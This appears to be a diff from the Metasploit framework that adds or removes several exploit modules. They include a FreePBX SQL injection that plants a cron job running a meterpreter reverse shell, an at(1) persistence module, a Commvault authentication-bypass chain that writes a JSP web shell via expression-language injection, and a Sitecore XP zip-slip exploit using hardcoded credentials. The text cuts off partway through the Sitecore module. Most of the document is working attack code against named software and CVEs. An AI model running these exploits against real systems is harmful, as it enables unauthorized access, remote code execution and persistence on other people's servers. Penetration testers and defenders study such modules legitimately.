write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n"
# read in the enabled community plugins, and add ours to the enabled list
if file?("#{vault['path']}/.obsidian/community-plugins.json")
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
@@ -240,6 +243,7 @@ var ExamplePlugin = class extends import_obsidian.Plugin {
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
print_good("Config file saved in: #{path}")
@clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n"
rescue JSON::ParserError
plugins = []
end
@@ -0,0 +1,143 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE',
'Description' => %q{
This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,
and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without
authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing
remote code execution on the target system.
},
'License' => MSF_LICENSE,
'Author' => [
'Echo_Slow', # msf module
'Piotr Bazydlo', # POC used as a template
'Sonny' # POC used as a template
],
'References' => [
['CVE', '2025-57819'],
['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']
],
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Unix Command',
{
'DefaultOptions' =>
{
'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'WfsDelay' => 70 # cronjob may take up to a minute to start
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-08-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new(
'TARGETURI',
[false, 'The URI for the FreePBX installation', '/']
)
]
)
end
def check
print_status('Checking if vulnerable...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
}
)
if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
return Exploit::CheckCode::Vulnerable('Detected SQL injection')
end
Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
end
def exploit
module_name = Rex::Text.rand_text_alpha(4..7)
@job_name = Rex::Text.rand_text_alpha(4..7)
rce_payload = Rex::Text.rand_text_alpha(4..7)
rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => rce_payload
}
)
if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
print_good("Created cronjob with job name: '#{@job_name}'")
print_status('Waiting for cronjob to trigger...')
else
fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
end
end
def cleanup
super
return unless @job_name
# Remove the created cronjob
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
}
)
print_status('Attempting to perform cleanup')
if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
print_good('Cronjob removed, happy hacking!')
else
print_bad('Cronjob not removed, please perform manual cleanup!')
end
end
end
@@ -1,72 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'at(1) Persistence',
'Description' => %q{
This module achieves persistence by executing payloads via at(1).
},
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <jon_hart@rapid7.com>'
],
'Targets' => [['Automatic', {} ]],
'DefaultTarget' => 0,
'Platform' => %w[unix],
'Arch' => ARCH_CMD,
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now'])
])
register_advanced_options([
OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.'])
])
end
def check
token = Rex::Text.rand_text_alphanumeric(8)
if cmd_exec("atq && echo #{token}").include?(token)
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
def exploit
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
end
unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
end
write_file(payload_file, payload.encoded)
register_files_for_cleanup(payload_file)
cmd_exec("chmod 700 #{payload_file}")
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
end
end
@@ -0,0 +1,492 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Commvault Command-Line Argument Injection to Traversal Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote code execution exploit chain for Commvault,
tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated
access to the 'localadmin' account, which then facilitates code execution via expression
language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is
necessary knowledge to exploit the remote code execution chain. This module executes in
the context of 'NETWORK SERVICE' on Windows.
},
'License' => MSF_LICENSE,
'Author' => [
'Sonny Macdonald', # Original discovery
'Piotr Bazydlo', # Original discovery
'remmons-r7' # MSF exploit
],
'References' => [
['CVE', '2025-57790'],
['CVE', '2025-57791'],
['CVE', '2025-57788'],
# Argument injection advisory
['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html'],
# Path traversal advisory
['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html'],
# Non-blind expression language payload (from an Ivanti EPMM exploit chain)
['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability']
],
'DisclosureDate' => '2025-08-19',
# Runs as the 'NETWORK SERVICE' user on Windows
'Privileged' => false,
# Although Linux installations are also affected, I didn't establish a reliable full path leak on the older Linux version I tested
'Platform' => ['windows'],
'Arch' => [ARCH_CMD],
'DefaultTarget' => 0,
'Targets' => [
[
'Default', {
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp',
'SSL' => true
},
'Payload' => {
# The ampersand character isn't properly embedded in payloads sent to the web API, so use a base64 PowerShell command instead
'BadChars' => '&'
}
}
]
],
'Notes' => {
# Confirmed to work multiple times in a row
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
# The log files will contain IOCs, including the written web shell path
# If successful, an abnormal XML file and web shell will be written to disk (will attempt automatic cleanup of JSP file)
# The localadmin user's description will be updated to include the expression language payload (although this should be reverted)
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The base path to Commvault', '/'])
]
)
end
def check
# Query an unauthenticated web API endpoint to attempt to extract the PublicSharingUser GUID password
res = check_commvault_info
return CheckCode::Unknown('Failed to get a response from the target') unless res
# If the response body contains "cv-gorkha", we assume it's Commvault
if res.code == 200 && res.body.include?('cv-gorkha')
vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault')
regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/
sharinguser_pass = res.body.scan(regex)[0][0]
# If the regex fails to extract the GUID, we return Safe
if sharinguser_pass.blank?
return CheckCode::Safe('The target returned an unexpected response that did not contain the desired GUID')
end
vprint_good("Fetched GUID: #{sharinguser_pass}")
vprint_status('Attempting to login as PublicSharingUser')
res = login_as_publicsharinguser(sharinguser_pass)
return CheckCode::Unknown('Failed to get a response from the target') unless res
if res.code != 200
CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because a non-200 status was returned')
end
# Extract the token from the login response
regex = /(QSDK [a-zA-Z0-9]+)/
psu_token = res.body.scan(regex)[0][0]
if psu_token.blank?
CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because no token was returned')
else
vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}")
return CheckCode::Vulnerable('Successfully authenticated as PublicSharingUser')
end
else
return CheckCode::Safe('The target server did not provide a response with the expected password leak')
end
end
def check_commvault_info
vprint_status('Attempting to query the publicLink.do endpoint')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'publicLink.do')
)
end
def leak_target_info
# The 'activeMQConnectionURL' leak depicted in the finder blog post is not present on many systems by default
# CVE-2025-57788 can be exploited to access an authenticated web API endpoint that leaks host name and OS info
psu_pass = extract_publicsharinguser_pass
vprint_status("Attempting PublicServiceUser login using: #{psu_pass}")
res = login_as_publicsharinguser(psu_pass)
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
if res.code != 200
fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable')
end
# Extract the token from the login response
regex = /(QSDK [a-zA-Z0-9]+)/
psu_token = res.body.scan(regex)[0][0]
if psu_token.blank?
fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable')
end
vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}")
res = get_host_info(psu_token)
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
if res.code != 200
fail_with(Failure::Unknown, 'Failed to get host info, the target returned a non-200 status')
end
regex = /hostName="([^"]+)" /
# Extract value, and make sure it isn't a FQDN for systems that are joined to a domain (strip period and anything after, if present)
hostname = res.body.scan(regex)[0][0].split('.').first
regex = /osType="([^"]+)" /
target_os = res.body.scan(regex)[0][0]
if hostname.blank? || target_os.blank?
fail_with(Failure::UnexpectedReply, 'The target response unexpectedly did not provide a host name or OS string')
end
return hostname, target_os
end
def extract_publicsharinguser_pass
# Fetch and extract the GUID that serves double-duty as the internal _+*PublicSharingUser_* user's password
res = check_commvault_info
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
# If the response body contains "cv-gorkha", we assume it's Commvault
if res.code == 200 && res.body.include?('cv-gorkha')
vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault')
regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/
sharinguser_pass = res.body.scan(regex)[0][0]
# If the regex fails to extract the GUID, we return NoAccess
if sharinguser_pass.blank? && hostname.blank?
fail_with(Failure::NoAccess, 'The target server is Commvault, but the PublicSharingUser password could not be leaked')
end
vprint_good("Fetched GUID: #{sharinguser_pass}")
return sharinguser_pass
else
fail_with(Failure::UnexpectedReply, 'The target server did not provide a response with the expected password leak')
end
end
def login_as_publicsharinguser(password)
# Use the leaked GUID value to login as the _+*PublicSharingUser_* user (CVE-2025-57788)
# This level of access is used to leak the host name via a low-privilege authenticated API endpoint
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),
'ctype' => 'application/json',
'data' => {
'username' => '_+_PublicSharingUser_',
# Passwords are base64 encoded for login
'password' => Base64.strict_encode64(password)
}.to_json
)
end
def get_host_info(token)
# Extract the host name and OS from an authenticated API as PublicServiceUser
vprint_status('Attempting to query authenticated API endpoint to get host name and OS')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'CommServ'),
'headers' => {
'Authtoken' => token
}
)
end
def bypass_authentication(hostname)
# Bypass authentication and return a valid token for the internal localadmin user
vprint_status("Attempting to mint a localadmin token using hostname: #{hostname}")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),
'ctype' => 'application/json',
'data' => {
# Username must contain the valid system host name
'username' => "#{hostname}_localadmin__",
# Since the malicious password to bypass authentication is a static string, randomly pad with spaces to subvert easy static detections
'password' => Base64.strict_encode64("#{' ' * rand(1..8)}a#{' ' * rand(1..8)}-localadmin#{' ' * rand(1..8)}"),
# Must contain the valid system host name, cannot be padded with spaces
'commserver' => "#{hostname} -cs #{hostname}"
}.to_json
)
end
def leak_full_path(token)
# Since we need to provide a full filesystem path to write the web shell, we need to know what the installation path is
# We'll attempt to use an authenticated API to leak this information
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Workflow'),
'ctype' => 'application/json',
'headers' => {
'Authtoken' => token,
'Accept' => 'application/json'
}
)
end
def get_user_desc(token, uid)
# Grab the pre-existing user description to reinstate after exploitation
res = send_request_cgi(
'method' => 'GET',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid),
'headers' => {
'Authtoken' => token,
'Accept' => 'application/json'
}
)
fail_with(Failure::Unknown, 'No response when getting user description') unless res
if res.code != 200
fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when checking the user description')
end
res.get_json_document['users'][0]['description']
end
def update_user_desc(token, uid, desc)
# Perform a request to update the user description
xml_data = "<App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>#{uid}</userId></userEntity><description>#{desc}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>"
vprint_status("Updating user description: #{xml_data}")
send_request_cgi(
'method' => 'POST',
'ctype' => 'application/xml',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid),
'headers' => {
'Authtoken' => token
},
'data' => xml_data
)
end
def execute_command(hostname, uid, cmd, token, install_path, prev_desc)
# This EL injection payload was taken from EITW of an Ivanti vuln. It's non-blind, which is a nice benefit
# Note that ampersand is a bad character in the injection context
payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{cmd}').getInputStream()).useDelimiter('%5C%5CA').next()}"
# Weaponize unauthenticated file upload to create an XML file that defines an operation to retrieve user details
user_details_op_xml = "<App_GetUserPropertiesRequest level=\"30\">\r\n\t<user userName=\"#{hostname}_localadmin__\" /></App_GetUserPropertiesRequest>"
message = Rex::MIME::Message.new
# These can be anything. Random hex str to avoid signatures where possible
random_str = rand_text_hex(8)
message.add_part(random_str, nil, nil, 'form-data; name="username"')
message.add_part(random_str, nil, nil, 'form-data; name="password"')
message.add_part(random_str, nil, nil, 'form-data; name="ccid"')
message.add_part(random_str, nil, nil, 'form-data; name="uploadToken"')
# File contents to write
message.add_part(user_details_op_xml, nil, nil, "form-data; name=\"file\"; filename=\"#{random_str}.xml\"")
vprint_status("Uploading XML file: #{user_details_op_xml}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'metrics', 'metricsUpload.do'),
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'data' => message.to_s
)
fail_with(Failure::Unknown, 'No response when uploading XML file') unless res
if res.code != 200
vprint_status("Unexpected status code: #{res.code}")
fail_with(Failure::UnexpectedReply, 'Non-200 status code when uploading XML file')
end
# The localadmin user's description is set to EL payload
res = update_user_desc(token, uid, payload)
fail_with(Failure::Unknown, 'No response when setting user description') unless res
if res.code != 200
fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when updating user description')
end
# Wrap in begin/ensure so that the injection in localadmin user description will be cleaned up
begin
# Move XML file to web shell
qcommand_op = "qoperation execute -af #{install_path}\\Reports\\MetricsUpload\\Upload\\#{random_str}\\#{random_str}.xml -file #{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp"
vprint_status("Moving XML file to web shell: #{qcommand_op}")
res = send_request_cgi(
'method' => 'POST',
'ctype' => 'text/plain',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'QCommand'),
'headers' => {
'Authtoken' => token
},
'data' => qcommand_op
)
fail_with(Failure::Unknown, 'No response when creating web shell') unless res
if res.code != 200 || !res.body.include?('Operation Successful.Results written')
fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code with success message when creating web shell')
end
# Register the newly written JSP web shell file for cleanup
register_file_for_cleanup("#{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp")
# Access the web shell to trigger remote code execution
vprint_status("Accessing the web shell file: #{random_str}.jsp")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{random_str}.jsp")
}, nil)
ensure
# Reinstate the pre-existing user description
res = update_user_desc(token, uid, prev_desc)
fail_with(Failure::Unknown, 'No response when resetting user description') unless res
if res.code != 200
fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when resetting user description')
end
end
end
def parse_json(json_inp, hostname)
# Extract full path disclosure for the target host from the parameter #1 API response JSON
container = Array(json_inp['container'])
deployments = container.flat_map { |c| Array(c['deployments']) }
# Find "{drive}:\\"" + any number of intermediary directories + "\\Commvault\\ContentStore", and only where sibling 'clientName' is the Commvault server
regex = /([A-Z]:\\(?:[^\\]+\\)*Commvault\\ContentStore)\\?/i
# This gets a little gnarly, but it has worked for all the test data I have tried (including Commvault documentation example responses)
# Can't simply search for Windows file path patterns here, because this API endpoint also returns some file paths from other hosts
paths = deployments
.select { |d| d.dig('client', 'clientName')&.casecmp?(hostname) }
.map { |d| d.dig('inputForm', 'destPath') }
.compact
.map { |p| p.tr('/', '\\') }
.filter_map { |p| p[regex, 1] }
if paths.blank?
fail_with(Failure::NotFound, 'The target unexpectedly did not return a full path disclosure')
end
# Return the first full path disclosure and swap the double backslashes for single (for use in QOperation rejects double backslashes)
paths[0].gsub('\\\\', '\\')
end
def exploit
# Leak the PublicSharingUser GUID password, authenticate, then query an authenticated API endpoint for target info
leaked = leak_target_info
hostname = leaked[0]
target_os = leaked[1]
if hostname.blank? || target_os.blank?
fail_with(Failure::Unknown, 'Unexpectedly unable to query target system details as PublicSharingUser')
end
vprint_good("Got target host name: #{hostname}")
vprint_good("Got target host OS: #{target_os}")
# Check to confirm the target is supported
if (target_os.casecmp('windows') != 0)
fail_with(Failure::BadConfig, 'This module only supports Windows targets')
end
# Attempt to use the host name to exploit the authentication bypass and retrieve a localadmin token
res = bypass_authentication(hostname)
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
# If the response is 200 and includes the token prefix, grab that token
if res.code == 200 && res.body.include?('"QSDK ')
print_good('Successfully bypassed authentication')
# Extract token for later use (cookie is also persisted)
regex = /(QSDK [a-zA-Z0-9]+)/
admin_token = res.body.scan(regex)[0][0]
vprint_status("Admin token: #{admin_token}")
# Extract the aliasName field, which contains the dynamic user ID number (typically single digit)
regex = /aliasName[=:]"(\d\d?)/
admin_uid = res.body.scan(regex)[0][0]
vprint_status("Extracted localadmin user ID number: #{admin_uid}")
# If the response doesn't contain the admin token, the exploit has failed
else
fail_with(Failure::NoAccess, 'The authentication bypass failed - the target may not be vulnerable, or perhaps the host name leak failed')
end
# Hit the admin-only web API endpoint that leaks one or more full Windows file paths
res = leak_full_path(admin_token)
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
if res.code != 200
fail_with(Failure::Unknown, 'The target returned a non-200 status when attempting to leak full path')
end
# Assign the JSON response body
leaked_json = res.get_json_document
vprint_status('Got JSON response, searching for installation path disclosures')
# Parse the JSON and find entries matching the host name, then walk to an adjacent key to leak installation path
install_path = parse_json(leaked_json, hostname)
vprint_good("Leaked the installation path: #{install_path}")
# Grab the pre-existing user description to reinstate after RCE is established
user_desc = get_user_desc(admin_token, admin_uid)
vprint_status("Got user description: #{user_desc}")
# Plant malicious code in user description, upload XML file for user info, then create the web shell
execute_command(hostname, admin_uid, payload.encoded, admin_token, install_path, user_desc)
end
end
@@ -0,0 +1,353 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::SitecoreXp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sitecore XP CVE-2025-34510 Post-Authentication Remote Code Execution',
'Description' => %q{
This module exploits CVE-2025-34510, path traversal leading to remote code execution. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
},
'License' => MSF_LICENSE,
'Author' => [
'Piotr Bazydlo', # Discovery
'msutovsky-r7' # Module Creator
],
'References' => [
['CVE', '2025-34510'],
['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
],
'DisclosureDate' => '2025-06-17',
'DefaultTarget' => 0,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64]
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
])
end
def check
return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')
@is_logged = true
return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies
@is_elevated = true
sitecore_version = get_version
return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))
Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
end
def upload_step(data)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
'vars_get' => { 'hdl' => 'sc_ct_trk' },
'keep_cookies' => true,
'vars_post' => data
})
res
end
def upload_zipslip
fake_zip = "#{Rex::Text.rand_text_alphanumeric(10)}.zip"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
'vars_get' => { 'hdl' => 'sc_ct_trk' },
'keep_cookies' => true
})
return false unless res&.code == 200
hidden_inputs = res.get_hidden_inputs
html_body = res.get_html_document
view_state = html_body.at("input[@name='__VIEWSTATE']")
file_el = html_body.xpath('//input').find { |link| link['name'] =~ /File([0-9]+)/ }
return false unless hidden_inputs && view_state && file_el
file_param = file_el['name']
proto = datastore['ssl'] ? 'https' : 'http'
res = upload_step({
'__PARAMETERS' => 'FileChange',
'__EVENTTARGET' => file_param,
'__EVENTARGUMENT' => '',
'__SOURCE' => file_param,
'__EVENTTYPE' => 'change',
'__CONTEXTMENU' => '',
'__MODIFIED' => '',
'__ISEVENT' => '1',
'__SHIFTKEY' => '',
'__CTRLKEY' => '',
'__ALTKEY' => '',
'__BUTTON' => 'undefined',
'__KEYCODE' => 'undefined',
'__X' => 'undefined',
'__Y' => 'undefined',
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
'__VIEWSTATE' => view_state['value'],
'Language' => hidden_inputs.dig(0, 'Language'),
'Item' => hidden_inputs.dig(0, 'Item'),
'Path' => hidden_inputs.dig(0, 'Path'),
'Unzip' => '0',
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
'ffSubmitForm' => ''
})
return false unless res&.code == 200
json_data = res.get_json_document
return false unless json_data.dig('commands', 1, 'value') =~ /name="File([a-zA-Z0-9]+)"/
new_file_input = "File#{Regexp.last_match(1)}"
res = upload_step({
'__PARAMETERS' => '',
'__EVENTTARGET' => 'NextButton',
'__EVENTARGUMENT' => '',
'__SOURCE' => 'NextButton',
'__EVENTTYPE' => 'click',
'__CONTEXTMENU' => '',
'__MODIFIED' => '',
'__ISEVENT' => '1',
'__SHIFTKEY' => '',
'__CTRLKEY' => '',
'__ALTKEY' => '',
'__BUTTON' => '0',
'__KEYCODE' => 'undefined',
'__X' => '1525',
'__Y' => '1258',
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
'__VIEWSTATE' => view_state['value'],
'Language' => hidden_inputs.dig(0, 'Language'),
'Item' => hidden_inputs.dig(0, 'Item'),
'Path' => hidden_inputs.dig(0, 'Path'),
'Unzip' => '0',
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
new_file_input => '',
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
'ffSubmitForm' => ''
})
return false unless res&.code == 200
res = upload_step({
'__PARAMETERS' => '',
'__EVENTTARGET' => 'NextButton',
'__EVENTARGUMENT' => '',
'__SOURCE' => 'NextButton',
'__EVENTTYPE' => 'click',
'__CONTEXTMENU' => '',
'__MODIFIED' => '',
'__ISEVENT' => '1',
'__SHIFTKEY' => '',
'__CTRLKEY' => '',
'__ALTKEY' => '',
'__BUTTON' => '0',
'__KEYCODE' => 'undefined',
'__X' => '1524',
'__Y' => '1265',
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
'__VIEWSTATE' => view_state['value'],
'Language' => hidden_inputs.dig(0, 'Language'),
'Item' => hidden_inputs.dig(0, 'Item'),
'Path' => hidden_inputs.dig(0, 'Path'),
'Unzip' => '0',
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
new_file_input => '',
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
'ffSubmitForm' => ''
})
return false unless res&.code == 200
res = upload_step({
'__PARAMETERS' => 'upload:unzipclicked',
'__EVENTTARGET' => 'UnzipCheck',
'__EVENTARGUMENT' => '',
'__SOURCE' => 'UnzipCheck',
'__EVENTTYPE' => 'change',
'__CONTEXTMENU' => '',
'__MODIFIED' => '',
'__ISEVENT' => '1',
'__SHIFTKEY' => '',
'__CTRLKEY' => '',
'__ALTKEY' => '',
'__BUTTON' => 'undefined',
'__KEYCODE' => 'undefined',
'__X' => 'undefined',
'__Y' => 'undefined',
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
'__VIEWSTATE' => view_state['value'],
'Language' => hidden_inputs.dig(0, 'Language'),
'Item' => hidden_inputs.dig(0, 'Item'),
'Path' => hidden_inputs.dig(0, 'Path'),
'Unzip' => '0',
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
new_file_input => '',
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
'UnzipCheck' => '1',
'ffSubmitForm' => ''
})
return false unless res&.code == 200
res = upload_step({
'__PARAMETERS' => '',
'__EVENTTARGET' => 'NextButton',
'__EVENTARGUMENT' => '',
'__SOURCE' => 'NextButton',
'__EVENTTYPE' => 'click',
'__CONTEXTMENU' => '',
'__MODIFIED' => '',
'__ISEVENT' => '1',
'__SHIFTKEY' => '',
'__CTRLKEY' => '',
'__ALTKEY' => '',
'__BUTTON' => '0',
'__KEYCODE' => 'undefined',
'__X' => '1523',
'__Y' => '1257',
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
